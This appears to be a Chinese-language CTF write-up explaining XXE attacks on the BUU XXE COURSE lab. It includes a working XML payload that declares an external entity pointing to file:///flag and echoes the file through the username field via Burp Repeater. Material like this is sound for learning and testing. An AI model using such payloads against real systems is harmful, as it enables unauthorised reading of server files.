封面由DALLE生成
XXE基本概念
XXE是围绕XML文档外部实体的攻击.
攻击实现的逻辑是:xml解释器具有外部文件的访问能力,因此可以利用读取文件的xml标签,引导xml解释器对文件进行访问,实现对文件的增删改查。漏洞是在于XML解释器的配置问题导致的对外部实体的信任,配置好的解释器应该
攻击手法(e.g. BUU XXE COURSE)
(1)打开网站和bp,网站界面如图
入口界面随便填点,然后提交
抓包可以看到有一个内嵌的xml
可以看到有一个root根元素(可以理解为类),我们直接为其添加一个外部实体(可以理解为类下的方法)我们可以为其添加一个自己的外部实体,
直接在xml标签头下打入(具体位置可以看后面的截图)
<!DOCTYPE root [
<!ENTITY admin SYSTEM "file:///flag"> ]>
这样我们在根元素root下有了一个外部实体admin,admin含有一个SYSTEM关键字,XML的解释器会在后续引用admin的时候,将会打开flag的内容并对username内的内容进行替换。现在我们在root根元素中对其进行引用
&admin;
修改后的xml如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY admin SYSTEM "file:///flag"> ]>
<root>
<username>&admin;</username>
<password>cdf</password>
</root>
(这里打到username段是因为username段有回显)
替换掉原本包的xml的部分,扔到repeater发包即可拿到flag
XXE漏洞的其他内容可以看:https://xz.aliyun.com/t/3357